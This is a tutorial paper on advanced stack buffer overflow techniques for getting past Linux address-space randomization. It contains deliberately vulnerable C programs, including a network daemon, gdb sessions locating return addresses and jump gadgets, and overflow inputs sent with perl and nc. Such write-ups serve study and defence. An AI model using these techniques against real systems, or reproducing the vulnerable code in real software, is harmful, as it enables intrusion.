----
oO Smack the Stack Oo
(Advanced Buffer Overflow Methods)

Izik <izik@tty64.org>

From time to time, a new patch or security feature is integrated to raise the bar on buffer overflow exploiting. This paper includes five creative methods to overcome various stack protection patches, but in practical focus on the VA (Virtual Address) space randomization patch that have been integrated to Linux 2.6 kernel. These methods are not limited to this patch or another, but rather provide a different approach to the buffer overflow exploiting scheme.

VA Patch

Causes certain parts of a process virtual address space to be different for each invocation of the process. The purpose of this is to raise the bar on buffer overflow exploits. As full randomization makes it not possible to use absolute addresses in the exploit. Randomizing the stack pointer and mmap() addresses. Which also effects where shared libraries goes, among other things. The stack is randomized within an 8Mb range and applies to ELF binaries. The patch intended to be an addition to the NX support that was added to the 2.6 kernel earlier as well. This paper however addressed it as solo.

Synchronize

My playground box is running on an x86 box, armed with Linux kernel 2.6.12.2, glibc-2.3.5 and gcc-3.3.6

Stack Juggling

Stack juggling methods take their advantages off a certain stack layout/program flow or a registers changes. Due to the nature of these factors, they might not fit to every situation.

RET2RET

This method relies on a pointer previously stored on the stack as a potential return address to the shellcode. A potential return address is a base address of a pointer in the upper stack frame, above the saved return address. The pointer itself is not required to point directly to the shellcode, but rather to fit a byte-alignment.

The gap between the location of the potential return address on the stack and the shellcode, padded with addresses that contain a RET instruction. The purpose of RET will be somewhat similar to a NOP with a tweak, as each RET performs a POP action and increase ESP by 4 bytes, and then afterward jumps to the next one. The last RET will jump to the potential return address and will lead to the shellcode.

```
/*
 * vuln.c, Classical strcpy() buffer overflow
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
#include <string.h>

int main(int argc, char **argv) {
      char buf[256];
      strcpy(buf, argv[1]);
      return 1;
}
```

Starting with determining 'buf' variable addresses range on the stack

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 <main+0>:    push   %ebp
0x08048385 <main+1>:    mov    %esp,%ebp
0x08048387 <main+3>:    sub    $0x108,%esp
0x0804838d <main+9>:    and    $0xfffffff0,%esp
0x08048390 <main+12>:   mov    $0x0,%eax
0x08048395 <main+17>:   sub    %eax,%esp
0x08048397 <main+19>:   sub    $0x8,%esp
0x0804839a <main+22>:   mov    0xc(%ebp),%eax
0x0804839d <main+25>:   add    $0x4,%eax
0x080483a0 <main+28>:   pushl  (%eax)
0x080483a2 <main+30>:   lea    0xfffffef8(%ebp),%eax
0x080483a8 <main+36>:   push   %eax
0x080483a9 <main+37>:   call   0x80482b0 <_init+56>
0x080483ae <main+42>:   add    $0x10,%esp
0x080483b1 <main+45>:   mov    $0x1,%eax
0x080483b6 <main+50>:   leave
0x080483b7 <main+51>:   ret
End of assembler dump.
(gdb)
```

Putting a breakpoint prior to strcpy() function invocation and examining the passed pointer of 'buf' variable

```
(gdb) break *main+37
Breakpoint 1 at 0x80483a9
(gdb) run `perl -e 'print "A"x272'`
Starting program: /tmp/vuln `perl -e 'print "A"x272'`

Breakpoint 1, 0x080483a9 in main ()
(gdb) print (void *) $eax
$1 = (void *) 0xbffff5d0
(gdb)
```

Simple calculation gives 'buf' variable range [0xbffff6d8 - 0xbffff5d0] / (264 bytes ; 0x108h)

After establishing the target range, the search for potential return addresses in the upper stack frame begins

```
(gdb) x/a $ebp+8
0xbffff6e0:     0x2
(gdb) x/a $ebp+12
0xbffff6e4:     0xbffff764
(gdb) x/a $ebp+16
0xbffff6e8:     0xbffff770
(gdb) x/a $ebp+20
0xbffff6ec:     0xb800167c
(gdb) x/a $ebp+24
0xbffff6f0:     0xb7fdb000 <svcauthsw+692>
```

```
(gdb) x/a $ebp+28
0xbffff6f4:     0xbffff6f0
(gdb)
```

The address [0xbffff6f4] is a pointer to [0xbffff6f0], and [0xbffff6f0] is only 24 bytes away from [0xbffff6d8] This, after the byte-alignment conversion, will be pointing inside the target range

The byte-alignment is a result of the trailing NULL byte, as the nature of strings in C language to be NULL terminated combined with the IA32 (Little Endian) factor. The [0xbffff6f0] address will be changed to [0xbffff600], which in our case saves the day and produces a return address to the shellcode.

RET2POP

This method reassembles the previous method, except it's focused on a buffer overflow within a program function scope. Functions that take a buffer as an argument, which later on will be comprised within the function to said buffer overflow, give a great service, as the pointer becomes the perfect potential return address. Ironically, the same byte-alignment effect applies here as well, and thus prevents it from using it as perfect potential... but only in a case of when the buffer argument is being passed as the 1st argument or as the only argument.

```c
/*
 * vuln.c, Standard strcpy() buffer overflow within a function
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foobar(int x, char *str) {
      char buf[256];
      strcpy(buf, str);
      return x;
}

int main(int argc, char **argv) {
      foobar(64, argv[1]);
      return 1;
}
```

But when having the buffer passed as the 2nd or higher argument to the function is a whole different story. Then it is possible to preserve the pointer, but requires a new combo.

```
(gdb) disassemble frame_dummy
Dump of assembler code for function frame_dummy:
0x08048350 <frame_dummy+0>:     push   %ebp
0x08048351 <frame_dummy+1>:     mov    %esp,%ebp
0x08048353 <frame_dummy+3>:     sub    $0x8,%esp
0x08048356 <frame_dummy+6>:     mov    0x8049508,%eax
0x0804835b <frame_dummy+11>:    test   %eax,%eax
0x0804835d <frame_dummy+13>:    je     0x8048380 <frame_dummy+48>
0x0804835f <frame_dummy+15>:    mov    $0x0,%eax
0x08048364 <frame_dummy+20>:    test   %eax,%eax
0x08048366 <frame_dummy+22>:    je     0x8048380 <frame_dummy+48>
0x08048368 <frame_dummy+24>:    sub    $0xc,%esp
0x0804836b <frame_dummy+27>:    push   $0x8049508
```

```
      0x08048370 <frame_dummy+32>:    call   0x0
      0x08048375 <frame_dummy+37>:    add    $0x10,%esp
      0x08048378 <frame_dummy+40>:    nop
      0x08048379 <frame_dummy+41>:    lea    0x0(%esi),%esi
      0x08048380 <frame_dummy+48>:    mov    %ebp,%esp
      0x08048382 <frame_dummy+50>:    pop    %ebp
      0x08048383 <frame_dummy+51>:    ret
      End of assembler dump.
      (gdb)
```

The gcc compiler will normally produce the 'LEAVE' instruction, unless the user passed the '-O2' option to gcc. Whatever the actual program code doesn't supply, the CRT objects will.

Part of the optimization issues tearing down the 'LEAVE' instruction to pieces gives us the benefit of having the ability to use only what's needed for us.

```
      0x08048380 <frame_dummy+48>:    mov    %ebp,%esp
      0x08048382 <frame_dummy+50>:    pop    %ebp
      0x08048383 <frame_dummy+51>:    ret
```

The combination of POP followed by RET would result in skipping over the 1st argument and jump directly to the 2nd argument. On top of that it would also be the final knockout punch needed to win this situation.

Because CRT objects have been included within every program, unless of course the user specified otherwise, it is a rich source of assembly snippets that can be tweaked.

Snooping around the CRT functions, another powerful combination can be found inside the '__do_global_ctors_aux' implementation

```
      0x080484cc <__do_global_ctors_aux+44>:  pop    %eax
      0x080484cd <__do_global_ctors_aux+45>:  pop    %ebx
      0x080484ce <__do_global_ctors_aux+46>:  pop    %ebp
      0x080484cf <__do_global_ctors_aux+47>:  ret
```

But that's for a whole other story ... ;-)

RET2EAX

This method relies on the convention that functions uses EAX register to store the return value. The implementation of return values from functions and syscalls is done via the EAX register. This of course is another great service, so that a function that had buffer overflow in it is also kind enough to return back the buffer. We have EAX that contains a perfect potential return address to the shellcode.

```
      /*
       * vuln.c, Exotic strcpy() buffer overflow
       */

      #include <stdio.h>
      #include <unistd.h>
      #include <string.h>

      char *foobar(int arg, char *str) {
            char buf[256];
            strcpy(buf, str);
            return str;
```

```
	}

	int main(int argc, char **argv) {
		foobar(64, argv[1]);
		return 1;
	}
```

Again we return to the CRT function for salvation

```
	(gdb) disassemble __do_global_ctors_aux
	Dump of assembler code for function __do_global_ctors_aux:
	0x080484a0 <__do_global_ctors_aux+0>:   push   %ebp
	0x080484a1 <__do_global_ctors_aux+1>:   mov    %esp,%ebp
	0x080484a3 <__do_global_ctors_aux+3>:   push   %ebx
	0x080484a4 <__do_global_ctors_aux+4>:   push   %edx
	0x080484a5 <__do_global_ctors_aux+5>:   mov    0x80494f8,%eax
	0x080484aa <__do_global_ctors_aux+10>:  cmp    $0xffffffff,%eax
	0x080484ad <__do_global_ctors_aux+13>:  mov    $0x80494f8,%ebx
	0x080484b2 <__do_global_ctors_aux+18>:  je     0x80484cc
	0x080484b4 <__do_global_ctors_aux+20>:  lea    0x0(%esi),%esi
	0x080484ba <__do_global_ctors_aux+26>:  lea    0x0(%edi),%edi
	0x080484c0 <__do_global_ctors_aux+32>:  sub    $0x4,%ebx
	0x080484c3 <__do_global_ctors_aux+35>:  call   *%eax
	0x080484c5 <__do_global_ctors_aux+37>:  mov    (%ebx),%eax
	0x080484c7 <__do_global_ctors_aux+39>:  cmp    $0xffffffff,%eax
	0x080484ca <__do_global_ctors_aux+42>:  jne    0x80484c0
	0x080484cc <__do_global_ctors_aux+44>:  pop    %eax
	0x080484cd <__do_global_ctors_aux+45>:  pop    %ebx
	0x080484ce <__do_global_ctors_aux+46>:  pop    %ebp
	0x080484cf <__do_global_ctors_aux+47>:  ret
	End of assembler dump.
	(gdb)
```

The abstract implementation of '__do_global_ctors_aux' includes a sweet CALL instruction. And wins this match!

RET2ESP

This method relies on unique hex, representative of hardcoded values... or in other words, doubles meaning.

Going back to basics: the basic data unit in computers is bits, and every 8 bits are converted to a byte. In the process, the actual bits never change, but rather the logical meaning. For instance, the difference between
a signed and unsigned is up to the program to recognize the MSB as sign bit nor data bit. As there is no absolute way to define a group of bits, different interpretation becomes possible.

The number 58623 might not be special at first glance, but the hex value of 58623 is. The representative hex number is FFE4, and FFE4 is translated to 'JMP %ESP' and that's special. As hardcoded values are part of the program actual code, this freaky idea becomes an actual solution.

```
	/*
	 * vuln.c, Unique strcpy() buffer overflow
	 */

	#include <stdio.h>
	#include <stdlib.h>
```

```
int main(int argc, char **argv) {
      int j = 58623;
      char buf[256];
      strcpy(buf, argv[1]);
      return 1;
}
```

Starting with disassembling it

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 <main+0>:    push   %ebp
0x08048385 <main+1>:    mov    %esp,%ebp
0x08048387 <main+3>:    sub    $0x118,%esp
0x0804838d <main+9>:    and    $0xfffffff0,%esp
0x08048390 <main+12>:   mov    $0x0,%eax
0x08048395 <main+17>:   sub    %eax,%esp
0x08048397 <main+19>:   movl   $0xe4ff,0xfffffff4(%ebp)
0x0804839e <main+26>:   sub    $0x8,%esp
0x080483a1 <main+29>:   mov    0xc(%ebp),%eax
0x080483a4 <main+32>:   add    $0x4,%eax
0x080483a7 <main+35>:   pushl  (%eax)
0x080483a9 <main+37>:   lea    0xfffffee8(%ebp),%eax
0x080483af <main+43>:   push   %eax
0x080483b0 <main+44>:   call   0x80482b0 <_init+56>
0x080483b5 <main+49>:   add    $0x10,%esp
0x080483b8 <main+52>:   leave
0x080483b9 <main+53>:   ret
End of assembler dump.
```

Tearing down [<main+19>] to bytes

```
(gdb) x/7b 0x08048397
0x8048397 <main+19>:    0xc7    0x45    0xf4    0xff    0xe4    0x00
(gdb)
```

Perform an offset (+2 bytes) jump to the middle of the instruction, interpreted as:

```
(gdb) x/1i 0x804839a
0x804839a <main+22>:    jmp    *%esp
(gdb)
```

Beauty is in the eye of the beholder, and in this case the x86 CPU ;-)
Here's a tiny table of 16 bit values that includes 'FFE4' in it:

VAL	HEX	S/U
58623	e4ff	S
-6913	e4ff	U

Stack Stethoscope

This method is designed to locally attack an already running process (e.g. daemons), its advantage comes from accessing the attacked process /proc entry, and using it for calculating the exact return address inside that stack.

The benefit of exploiting daemon locally is that the exploit can, prior to attacking, browse that process /proc entry. Every process has a /proc entry which associated to the process pid (e.g. /proc/<pid>) and by default open to everybody. In practical, a file inside the proc entry called 'stat' include very significant data for the exploit, and that's the process stack start address.

```
root@magicbox:~# cat /proc/1/stat | awk '{ print $28 }'
3213067536
root@magicbox:~#
```

Taking this figure [3213067536] and converting to hex [0xbf838510] gives the process stack start address. This is significant to the exploit, as knowing this detail allows an alternative way to navigate inside the stack and predict the return address to the shellcode.

Normally, exploits use absolute return addresses which are a result of testing on different binaries/distributions. Alternatively, calculating the distance of stack start address from the ESP register value after exploiting is equal to having the return address itself.

```
/*
 * dumbo.c, Exploitable Daemon
 */

 #include <sys/types.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <sys/socket.h>
 #include <netinet/in.h>

 int main(int argc, char **argv) {
      int sock, addrlen, nsock;
      struct sockaddr_in sin;
       char buf[256];

      sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

              if (sock < 0) {
                        perror("socket");
                        return -1;
              }

                sin.sin_family = AF_INET;
                sin.sin_addr.s_addr = htonl(INADDR_ANY);
                sin.sin_port = htons(31338);
                addrlen = sizeof(sin);

                if (bind(sock, (struct sockaddr *) &sin, addrlen) < 0) {
                  perror("bind");
                    return -1;
                }

              if (listen(sock, 5) < 0) {
                  perror("listen");
                        return -1;
                }

              nsock = accept(sock, (struct sockaddr *) &sin, &addrlen);

                if (nsock < 0) {
                        perror("accept");
                        close(sock);
                        return -1;
                }

                read(nsock, buf, 1024);

            close(nsock);
                close(sock);

                return 1;
        }
```

Starting by running the daemon

```
        root@magicbox:/tmp# ./dumbo &
        [1] 19296
        root@magicbox:/tmp#
```

Now retrieving the process stack start address

```
        root@magicbox:/tmp# cat /proc/19296/stat | awk '{ print $28 }'
        3221223520
        root@magicbox:/tmp#
```

Attaching to it, and putting a breakpoint prior to read() invocation

```
        (gdb) x/1i 0x08048677
        0x8048677 <main+323>:   call   0x8048454 <_init+184>
        (gdb) break *main+323
        Breakpoint 1 at 0x8048677
        (gdb) continue
```

Shooting it down

```
        root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 31338
```

Going back to the debugger, to check on 'buf' pointer

```
        Breakpoint 1, 0x08048677 in main ()
        (gdb) x/a $esp+4
        0xbffff694:     0xbffff6b0
        (gdb)
```

Now it comes down to a simple math

```
        0xbffff860 -
        0xbffff6b0
        ----------
        432 bytes
```

So by subtracting the stack start address from the buf pointer, we got the ratio between the two. Now, using this data, an exploit can generate a perfect return address.

Contact

Izik <izik@tty64.org> [or] http://www.tty64.org